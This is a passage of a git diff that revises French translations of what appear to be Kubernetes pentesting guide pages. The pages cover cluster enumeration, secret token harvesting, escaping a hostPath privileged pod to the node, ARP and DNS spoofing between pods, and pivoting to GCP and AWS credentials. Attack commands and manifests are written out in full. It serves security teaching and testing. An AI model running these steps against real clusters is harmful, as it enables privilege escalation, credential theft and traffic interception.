Traitez les objets `APIService` avec `insecureSkipTLSVerify: true`, des valeurs `caBundle` obsolètes, ou des permissions larges pour patch les champs de trust `APIService`/webhook comme des findings de certificate-trust plutôt que comme un simple inventaire d’objets ordinaires. + +### Obtenir les privilèges actuels {{#tabs }} {{#tab name="kubectl" }} @@ -214,7 +240,7 @@ kurl -i -s -k -X $'POST' \ Une autre façon de vérifier vos privilèges est d’utiliser l’outil : [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -Vous pouvez en apprendre davantage sur **Kubernetes RBAC** dans : +Vous pouvez en savoir plus sur **Kubernetes RBAC** dans : {{#ref}} kubernetes-role-based-access-control-rbac.md @@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Obtenir des secrets +### Obtenir les secrets {{#tabs }} {{#tab name="kubectl" }} @@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Si vous pouvez lire des secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privileges liés à chaque token : +Si vous pouvez lire des secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilèges liés à chaque token : ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Obtenir les Service Accounts -Comme discuté au début de cette page **lorsqu’un pod est exécuté, un service account lui est généralement attribué**. Par conséquent, lister les service accounts, leurs permissions et où ils s’exécutent peut permettre à un utilisateur d’élever ses privilèges. +Comme discuté au début de cette page **lorsqu’un pod est exécuté, un service account lui est généralement assigné**. Par conséquent, lister les service accounts, leurs permissions et où ils s’exécutent peut permettre à un utilisateur d’escalader les privilèges. {{#tabs }} {{#tab name="kubectl" }} @@ -305,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ### Obtenir les Deployments -Les Deployments spécifient l'état désiré pour les charges de travail d'application sans état. Ils créent des ReplicaSets, et ces ReplicaSets créent des Pods. +Les Deployments spécifient l'état souhaité pour les workloads d'application sans état. Ils créent des ReplicaSets, et ces ReplicaSets créent des Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -322,7 +348,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ {{#endtab }} {{#endtabs }} -### Obtenir des StatefulSets +### Obtenir les StatefulSets Les StatefulSets gèrent les Pods qui ont besoin de noms stables, d’un comportement de déploiement ordonné, et souvent de volumes persistants par réplique. @@ -343,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ### Obtenir les Pods -Les Pods sont les **conteneurs** réels qui vont **s’exécuter**. +Les Pods sont les **containers** réels qui vont **exécuter**. {{#tabs }} {{#tab name="kubectl" }} @@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Obtenir les Services -Les **services** Kubernetes sont utilisés pour **exposer un service sur un port et une IP spécifiques** (qui agiront comme load balancer pour les pods qui offrent réellement le service). C’est utile pour savoir où trouver d’autres services à tenter d’attaquer. +Les **services** Kubernetes sont utilisés pour **exposer un service sur un port et une IP spécifiques** (qui agiront comme load balancer vers les pods qui fournissent réellement le service). C’est intéressant pour savoir où trouver d’autres services à tenter d’attaquer. {{#tabs }} {{#tab name="kubectl" }} @@ -381,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//services/ ### Obtenir les nodes -Obtenir tous les **nodes configurés à l'intérieur du cluster**. +Obtenir tous les **nodes configurés dans le cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Obtenir les DaemonSets -Les **DaemonSets** garantissent qu'un **Pod spécifique s'exécute sur tous les nœuds sélectionnés** du cluster. Si vous supprimez le DaemonSet, les Pods gérés par celui-ci seront également supprimés. +Les **DaemonSets** garantissent qu’un **Pod spécifique s’exécute sur tous les nœuds sélectionnés** du cluster. Si vous supprimez le DaemonSet, les Pods qu’il gère seront également supprimés. {{#tabs }} {{#tab name="kubectl" }} @@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ### Obtenir des Jobs -Les Jobs créent des Pods qui s’exécutent jusqu’à leur achèvement. Ils sont couramment utilisés pour les migrations, les sauvegardes, les tâches par lots et les tâches administratives ponctuelles. +Les Jobs créent des Pods qui s'exécutent jusqu'à leur achèvement. Ils sont couramment utilisés pour les migrations, les sauvegardes, le travail par lots et les tâches administratives ponctuelles. {{#tabs }} {{#tab name="kubectl" }} @@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ### Obtenir configMap -configMap contient toujours beaucoup d'informations et de fichiers de configuration fournis aux apps qui s'exécutent dans le kubernetes. En général, vous pouvez y trouver beaucoup de passwords, secrets, tokens utilisés pour se connecter et s'authentifier auprès d'autres services internes/externes. +configMap contient toujours beaucoup d’informations et des fichiers de configuration qui sont fournis aux apps qui s’exécutent dans kubernetes. En général, vous pouvez y trouver beaucoup de mots de passe, secrets et tokens utilisés pour se connecter et s’authentifier auprès d’autres services internes/externes. {{#tabs }} {{#tab name="kubectl" }} @@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Obtenir tout / Tous +### Obtenir tout / Tout {{#tabs }} {{#tab name="kubectl" }} @@ -515,19 +541,19 @@ k top pod --all-namespaces ## Interagir avec le cluster sans utiliser kubectl -Comme le plan de contrôle Kubernetes expose une API REST, vous pouvez créer manuellement des requêtes HTTP et les envoyer avec d'autres outils, tels que **curl** ou **wget**. +Étant donné que le control plane de Kubernetes expose une API REST, vous pouvez fabriquer manuellement des requêtes HTTP et les envoyer avec d'autres outils, comme **curl** ou **wget**. -### S’échapper du pod +### S'échapper du pod -Si vous êtes en mesure de créer de nouveaux pods, vous pourriez être capable d’en sortir pour accéder au node. Pour ce faire, vous devez créer un nouveau pod à l’aide d’un fichier yaml, basculer vers le pod créé, puis faire chroot dans le système du node. Vous pouvez utiliser des pods déjà existants comme référence pour le fichier yaml, puisqu’ils affichent les images et les pathes existants. +Si vous êtes capable de créer de nouveaux pods, vous pourriez être en mesure de vous en échapper vers le node. Pour ce faire, vous devez créer un nouveau pod à l'aide d'un fichier yaml, passer au pod créé, puis faire un chroot dans le système du node. Vous pouvez utiliser des pods déjà existants comme référence pour le fichier yaml, puisqu'ils affichent les images et chemins existants. ```bash kubectl get pod [-n ] -o yaml ``` -> si vous devez créer un pod sur le node spécifique, vous pouvez utiliser la commande suivante pour obtenir les labels sur le node +> si vous devez créer un pod sur le nœud spécifique, vous pouvez utiliser la commande suivante pour obtenir les labels sur le nœud > > `k get nodes --show-labels` > -> Généralement, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bons labels pour la sélection. +> En général, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bons labels à sélectionner. Ensuite, vous créez votre fichier attack.yaml ```yaml @@ -559,9 +585,9 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -[source yaml original](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) +[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) -Après cela, vous créez le pod +Ensuite, vous créez le pod ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -569,11 +595,11 @@ Vous pouvez maintenant basculer vers le pod créé comme suit ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -Et enfin, vous faites un chroot dans le système du nœud +Et enfin, vous faites un chroot dans le système du node ```bash chroot /root /bin/bash ``` -Information obtenu de : [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +Information obtenue à partir de : [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ### Creating a privileged pod @@ -605,7 +631,7 @@ volumes: hostPath: path: / ``` -Créer le pod avec curl: +Créer le pod avec curl : ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 5d4459222..9f221877c 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introduction -Dans Kubernetes, on observe qu'un comportement par défaut permet l'établissement de connexions entre **tous les conteneurs résidant sur le même node**. Cela s'applique quelle que soit la distinction des namespace. Cette connectivité s'étend jusqu'à la **Layer 2** (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. Plus précisément, elle ouvre la possibilité pour un **conteneur malicious** d'exécuter une **ARP spoofing attack** contre d'autres conteneurs situés sur le même node. Lors d'une telle attaque, le conteneur malicious peut intercepter ou modifier de manière trompeuse le trafic réseau destiné à d'autres conteneurs. +Dans Kubernetes, on observe qu'un comportement par défaut permet l'établissement de connexions entre **tous les conteneurs résidant sur le même node**. Cela s'applique indépendamment des différences de namespace. Cette connectivité s'étend jusqu'à la **Layer 2** (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. Plus précisément, elle ouvre la possibilité pour un **conteneur malveillant** d'exécuter une **ARP spoofing attack** contre d'autres conteneurs situés sur le même node. Lors d'une telle attack, le conteneur malveillant peut intercepter ou modifier de manière frauduleuse le trafic réseau destiné à d'autres conteneurs. -Les ARP spoofing attacks impliquent que l'**attacker envoie des messages ARP falsifiés** (Address Resolution Protocol) sur un réseau local. Cela entraîne le lien entre la **MAC address de l'attacker et l'adresse IP d'un ordinateur ou serveur légitime sur le réseau**. Une fois une telle attaque réussie, l'attacker peut intercepter, modifier ou même arrêter des données en transit. L'attaque est exécutée sur la Layer 2 du modèle OSI, c'est pourquoi la connectivité par défaut dans Kubernetes à cette layer soulève des préoccupations de sécurité. +Les ARP spoofing attacks impliquent que l'**attaquant envoie des ARP falsifiés** (Address Resolution Protocol) sur un réseau local. Cela a pour effet de lier la **MAC address de l'attaquant à l'IP address d'un ordinateur ou serveur légitime sur le réseau**. Après l'exécution réussie d'une telle attack, l'attaquant peut intercepter, modifier, ou même arrêter les données en transit. L'attack est exécutée sur la Layer 2 du modèle OSI, ce qui explique pourquoi la connectivité par défaut dans Kubernetes à cette layer soulève des préoccupations de sécurité. Dans le scénario, 4 machines vont être créées : -- ubuntu-pe: Machine privilégiée pour s'échapper vers le node et vérifier les métriques (non nécessaire pour l'attaque) -- **ubuntu-attack**: **Malicious** conteneur dans le namespace default -- **ubuntu-victim**: Machine **Victim** dans le namespace kube-system -- **mysql**: Machine **Victim** dans le namespace default +- ubuntu-pe: Machine privilégiée pour s'échapper vers le node et vérifier les métriques (pas nécessaire pour l'attack) +- **ubuntu-attack**: Conteneur **malveillant** dans le default namespace +- **ubuntu-victim**: Machine **victime** dans le namespace kube-system +- **mysql**: Machine **victime** dans le default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Réseau de base de Kubernetes +## Basic Kubernetes Networking Si vous voulez plus de détails sur les sujets de networking introduits ici, allez aux références. ### ARP -De manière générale, **le networking pod-to-pod داخل du node** est disponible via un **bridge** qui connecte tous les pods. Ce bridge est appelé “**cbr0**”. (Certains network plugins installeront leur propre bridge.) Le **cbr0 peut aussi gérer la résolution ARP** (Address Resolution Protocol). Lorsqu’un paquet entrant arrive sur cbr0, il peut résoudre l’adresse MAC de destination en utilisant ARP. +De manière générale, le **pod-to-pod networking inside the node** est disponible via un **bridge** qui relie tous les pods. Ce bridge s’appelle “**cbr0**”. (Certains network plugins installeront leur propre bridge.) Le **cbr0 peut aussi gérer la résolution ARP** (Address Resolution Protocol). Lorsqu’un paquet entrant arrive sur cbr0, il peut résoudre l’adresse MAC de destination en utilisant ARP. -Ce fait implique que, par défaut, **chaque pod exécuté dans le même node** va pouvoir **communiquer** avec n’importe quel autre pod du même node (indépendamment du namespace) au niveau ethernet (layer 2). +Ce fait implique que, par défaut, **chaque pod exécuté dans le même node** va pouvoir **communiquer** avec n’importe quel autre pod dans le même node (indépendamment du namespace) au niveau ethernet (layer 2). > [!WARNING] -> Par conséquent, il est possible de réaliser des attaques A**RP Spoofing entre des pods dans le même node.** +> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** + +### NetworkPolicy and admin policy layers + +Kubernetes `NetworkPolicy` est un contrôle du trafic des pods au niveau L3/L4, mais il est appliqué par le plugin CNI et non par l’API server elle-même. Un cluster peut stocker des objets NetworkPolicy tout en autorisant le trafic si le CNI actif ne les implémente pas, donc validez toujours avec une source autorisée contrôlée et une source négative de contrôle bloquée. + +Ne vous arrêtez pas à `kubectl get networkpolicy -A`. Les clusters utilisant Cilium, Calico, OVN-Kubernetes, Antrea, ou des dataplanes de managed-provider peuvent aussi avoir des API de policy telles que `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ou `BaselineAdminNetworkPolicy`. Celles-ci peuvent ajouter un deny explicite, des tier/order, un cluster scope, des règles L7/DNS, ou des garde-fous d’admin que la sémantique additive ordinaire de Kubernetes NetworkPolicy n’explique pas. + +Useful first checks: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +Pour l'analyse de contournement, vérifiez si le blocage prévu est évité via un proxy autorisé, DNS ou egress gateway, un pod `hostNetwork`, un chemin local au node, un sélecteur de namespace ou de pod trop large, ou une policy admin/global de priorité supérieure. Indiquez les labels du pod source, les labels du namespace, le Service ou l'EndpointSlice de destination, l'implémentation CNI/policy, la règle de policy qui décide, et la preuve du trafic. ### DNS -Dans les environnements kubernetes, vous trouverez généralement 1 (ou plus) **DNS services en cours d’exécution** généralement dans le namespace kube-system : +Dans les environnements kubernetes, vous trouverez généralement 1 (ou plus) **services DNS en cours d'exécution** généralement dans le namespace kube-system : ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -Dans les informations précédentes, vous pouvez voir quelque chose d’intéressant, l’**IP du service** est **10.96.0.10** mais l’**IP du pod** qui exécute le service est **172.17.0.2.** +Dans les informations précédentes, vous pouvez voir quelque chose d'intéressant, l'**IP du service** est **10.96.0.10** mais l'**IP du pod** qui exécute le service est **172.17.0.2.** -Si vous vérifiez l’adresse DNS à l’intérieur de n’importe quel pod, vous trouverez quelque chose comme ceci : +Si vous vérifiez l'adresse DNS à l'intérieur de n'importe quel pod, vous trouverez quelque chose comme ceci : ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -However, the pod **ne sait pas** comment aller vers cette **adresse** because the **pod range** in this case is 172.17.0.10/26. +Cependant, le pod **ne sait pas** comment aller à cette **adresse** car la **plage du pod** dans ce cas est 172.17.0.10/26. -Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**. +Par conséquent, le pod enverra les **requêtes DNS à l'adresse 10.96.0.10** qui seront **traduites** par le cbr0 **vers** **172.17.0.2**. > [!WARNING] -> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod. +> Cela signifie qu'une **requête DNS** d'un pod va **toujours** passer par le **bridge** pour **traduire** l'**IP du service vers l'IP de l'endpoint**, même si le serveur DNS se trouve dans le même sous-réseau que le pod. > -> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modifier** the **DNS responses** from the DNS server (**DNS Spoofing**). +> En sachant cela, et en sachant que des **attaques ARP** sont possibles, un **pod** sur un node pourra **intercepter le trafic** entre **chaque pod** du **sous-réseau** et le **bridge**, et **modifier** les **réponses DNS** du serveur DNS (**DNS Spoofing**). > -> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. +> De plus, si le **serveur DNS** se trouve sur le **même node que l'attaquant**, l'attaquant peut **intercepter toutes les requêtes DNS** de n'importe quel pod du cluster (entre le serveur DNS et le bridge) et modifier les réponses. > [!NOTE] -> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism. +> Validez le CNI actif et le chemin DNS avant de supposer que cela fonctionne dans un vrai cluster. Certains CNIs routent ou isolent différemment le trafic sur le même node, et les clusters utilisant NodeLocal DNSCache peuvent envoyer les requêtes DNS des pods vers une adresse locale au node avant de les transférer à CoreDNS. Dans ces environnements, le DNS spoofing dépend du placement des pods, des capacités de packet, de la configuration du resolver, du comportement du cache local au node, et du fait que les applications vérifient ou non les peers avec TLS ou un autre mécanisme d'identité. ## ARP Spoofing in pods in the same Node -Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. +Notre objectif est de **voler au moins la communication de ubuntu-victim vers mysql**. ### Scapy ```bash @@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Comme cela a déjà été mentionné, si vous **compromise a pod in the same node of the DNS server pod**, vous pouvez faire du **MitM** avec **ARPSpoofing** sur le **bridge and the DNS** pod et **modify all the DNS responses**. +Comme cela a déjà été mentionné, si vous **compromettez un pod sur le même node que le pod du DNS server**, vous pouvez faire du **MitM** avec **ARPSpoofing** entre le **bridge** et le pod **DNS** et **modifier toutes les réponses DNS**. Vous avez un très bon **tool** et **tutorial** pour tester cela dans [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -Dans notre scénario, **download** le **tool** dans le attacker pod et créez un **file named `hosts`** avec les **domains** que vous voulez **spoof** comme : +Dans notre scénario, **téléchargez** le **tool** dans le pod attacker et créez un **fichier nommé `hosts`** avec les **domains** que vous voulez **spoof** comme : ``` cat hosts google.com. 1.1.1.1 ``` -Effectuer l'attaque sur la machine ubuntu-victim : +Effectuez l'attaque sur la machine ubuntu-victim : ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -263,8 +279,8 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** l'adresse IP du **pod** **malicious** and **won't** be **accepted**.\ -> You need to generate a **new DNS packet** with the **src IP** du **DNS** où la victime envoie la requête DNS (ce qui est quelque chose comme 172.16.0.2, pas 10.96.0.10, c'est l'IP du service DNS K8s et pas l'IP du serveur DNS, plus de détails à ce sujet dans l'introduction). +> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ +> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). ## DNS Spoofing via coreDNS configmap @@ -280,30 +296,30 @@ abusing-roles-clusterroles-in-kubernetes/README.md ## Abusing exposed kubernetes management services -Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them. +Des services comme Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, et le Kubernetes dashboard sont souvent exposés soit à internet, soit au sein du réseau kubernetes. Un attaquant qui parvient à **trouver une plateforme utilisée pour gérer kubernetes et à y accéder** peut l'abuser pour obtenir un accès à l'API kubernetes et effectuer des actions comme créer de nouveaux pods, modifier ceux existants, ou même les supprimer. ## Enumerating kubernetes network policies -Obtenir les **networkpolicies** configurées : +Get configured **networkpolicies**: ```bash kubectl get networkpolicies --all-namespaces ``` -Obtenir les network policies **Callico** : +Obtenir les network policies **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Obtenir les **Cillium** network policies : +Obtenir les network policies **Cillium** : ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Obtenez d'autres CRDs liés aux politiques installés par votre network plugin ou votre solution de sécurité: +Obtenez d'autres CRD liés aux policy installés par votre network plugin ou votre solution de sécurité : ```bash kubectl get crd | grep -i policy ``` ## Capturing Traffic -L'outil [**Mizu**](https://github.com/up9inc/mizu) est un **traffic viewer pour Kubernetes** simple mais puissant, qui vous permet de **voir toute la communication API** entre microservices pour aider à déboguer et à résoudre les régressions.\ -Il installera des agents dans les pods sélectionnés et collectera leurs informations de traffic, puis vous les affichera dans un web server. Cependant, vous aurez besoin de permissions K8s élevées pour cela (et ce n'est pas très stealthy). +L'outil [**Mizu**](https://github.com/up9inc/mizu) est un visualiseur de **traffic** API simple mais puissant pour Kubernetes, permettant de **voir toute la communication API** entre microservices afin de vous aider à debugger et à résoudre les régressions.\ +Il installera des agents dans les pods sélectionnés et collectera leurs informations de traffic pour vous les afficher dans un web server. Cependant, vous aurez besoin de permissions K8s élevées pour cela (et ce n'est pas très stealthy). ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 2faec374d..58f228161 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,30 +4,30 @@ ## GCP -If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: +Si vous exécutez un cluster k8s à l’intérieur de GCP, vous voudrez probablement qu’une application exécutée dans le cluster ait un certain accès à GCP. Il existe 2 façons courantes de le faire : ### Mounting GCP-SA keys as secret -A common way to give **access to a kubernetes application to GCP** is to: +Une façon courante de donner un **access à une kubernetes application à GCP** est de : -- Create a GCP Service Account -- Bind on it the desired permissions -- Download a json key of the created SA -- Mount it as a secret inside the pod -- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. +- Créer un GCP Service Account +- Lui associer les permissions souhaitées +- Télécharger une clé json du SA créé +- La monter comme un secret à l’intérieur du pod +- Définir la variable d’environnement GOOGLE_APPLICATION_CREDENTIALS en pointant vers le chemin où se trouve le json. > [!WARNING] -> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials. +> Par conséquent, en tant qu’**attaquant**, si vous compromettez un container à l’intérieur d’un pod, vous devriez vérifier cette **env** **variable** et les **fichiers** **json** contenant des credentials GCP. ### Relating GSA json to KSA secret -A way to give access to a GSA to a GKE cluser is by binding them in this way: +Une façon de donner l’accès à un GSA à un cluster GKE consiste à les lier de cette manière : -- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: +- Créer un Kubernetes service account dans le même namespace que votre cluster GKE en utilisant la commande suivante : ```bash kubectl create serviceaccount ``` -- Créez un Kubernetes Secret qui contient les identifiants du service account GCP auquel vous souhaitez accorder l'accès au cluster GKE. Vous pouvez le faire à l'aide de l'outil en ligne de commande `gcloud`, comme indiqué dans l'exemple suivant : +- Créez un Kubernetes Secret qui contient les credentials du compte de service GCP auquel vous voulez accorder l’accès au cluster GKE. Vous pouvez le faire avec l’outil en ligne de commande `gcloud`, comme montré dans l’exemple suivant : ```bash gcloud iam service-accounts keys create .json \ --iam-account @@ -40,11 +40,11 @@ kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> Dans la **deuxième étape**, les **credentials de la GSA** ont été définis comme secret de la KSA. Ensuite, si vous pouvez **lire ce secret** depuis **l’intérieur** du cluster **GKE**, vous pouvez **escalader vers ce GCP service account**. +> Dans la **deuxième étape**, les **credentials du GSA** ont été définis comme secret du KSA. Alors, si vous pouvez **lire ce secret** depuis **l’intérieur** du cluster **GKE**, vous pouvez **escalate** vers ce **GCP service account**. ### GKE Workload Identity -Avec Workload Identity, nous pouvons configurer un[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) pour agir comme un[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Les Pods exécutés avec le Kubernetes service account s’authentifieront automatiquement comme le Google service account lors de l’accès aux Google Cloud APIs. +Avec Workload Identity, nous pouvons configurer un[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) pour agir comme un[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Les Pods exécutés avec le Kubernetes service account s’authentifieront automatiquement en tant que Google service account lors de l’accès aux Google Cloud APIs. La **première série d’étapes** pour activer ce comportement consiste à **activer Workload Identity dans GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) et à créer le GCP SA que vous voulez que k8s impersonate. @@ -54,12 +54,12 @@ gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Créer/Mettre à jour un nouveau nodepool** (les clusters Autopilot n'en ont pas besoin) +- **Créer/Mettre à jour un nouveau nodepool** (les clusters Autopilot n'ont pas besoin de cela) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Créer le **GCP Service Account à impersonate** depuis K8s avec des permissions GCP : +- Créez le **GCP Service Account à impersonate** depuis K8s avec les permissions GCP : ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Connecter** au **cluster** et **créer** le **service account** à utiliser +- **Se connecter** au **cluster** et **créer** le **service account** à utiliser ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Lier le GSA avec le KSA** +- **Binder le GSA avec le KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> En tant qu'attaquant à l'intérieur de K8s, vous devriez **rechercher des SAs** avec l'**annotation `iam.gke.io/gcp-service-account`** car cela indique que le SA peut accéder à quelque chose dans GCP. Une autre option serait d'essayer d'abuser de chaque KSA dans le cluster et de vérifier s'il a accès.\ -> Depuis GCP, il est toujours intéressant d'énumérer les bindings et de savoir **quel accès vous donnez aux SAs à l'intérieur de Kubernetes**. +> En tant qu'attaquant à l'intérieur de K8s, vous devriez **rechercher des SAs** avec l'**annotation `iam.gke.io/gcp-service-account`** car cela indique que la SA peut accéder à quelque chose dans GCP. Une autre option serait d'essayer d'abuser de chaque KSA dans le cluster et de vérifier si elle a accès.\ +> Depuis GCP, il est toujours intéressant d'énumérer les bindings et de savoir **quels accès vous accordez aux SAs à l'intérieur de Kubernetes**. Ceci est un script pour **itérer facilement sur toutes les définitions de pods** en **recherchant** cette **annotation** : ```bash @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Une manière (obsolète) d'attribuer des IAM Roles aux Pods consiste à utiliser un **server** [**Kiam**](https://github.com/uswitch/kiam) ou [**Kube2IAM**](https://github.com/jtblin/kube2iam). En gros, vous devrez exécuter un **daemonset** dans votre cluster avec une **sorte d'IAM role privilégié**. Ce daemonset sera celui qui donnera l'accès aux IAM roles aux pods qui en ont besoin. +Une manière (obsolète) de donner des IAM Roles aux Pods consiste à utiliser un **server** [**Kiam**](https://github.com/uswitch/kiam) ou [**Kube2IAM**](https://github.com/jtblin/kube2iam). En gros, tu devras exécuter un **daemonset** dans ton cluster avec une **sorte de IAM role privilégié**. Ce daemonset sera celui qui donnera l'accès aux IAM roles aux pods qui en ont besoin. -Tout d'abord, vous devez configurer **quels roles peuvent être accessibles à l'intérieur du namespace**, et cela se fait avec une annotation à l'intérieur de l'objet namespace: +Tout d'abord, tu dois configurer **quels roles peuvent être accessibles dans le namespace**, et tu fais cela avec une annotation à l'intérieur de l'objet namespace : ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Une fois que l'espace de noms est configuré avec les IAM roles que les Pods peuvent avoir, vous pouvez **indiquer le role que vous voulez sur 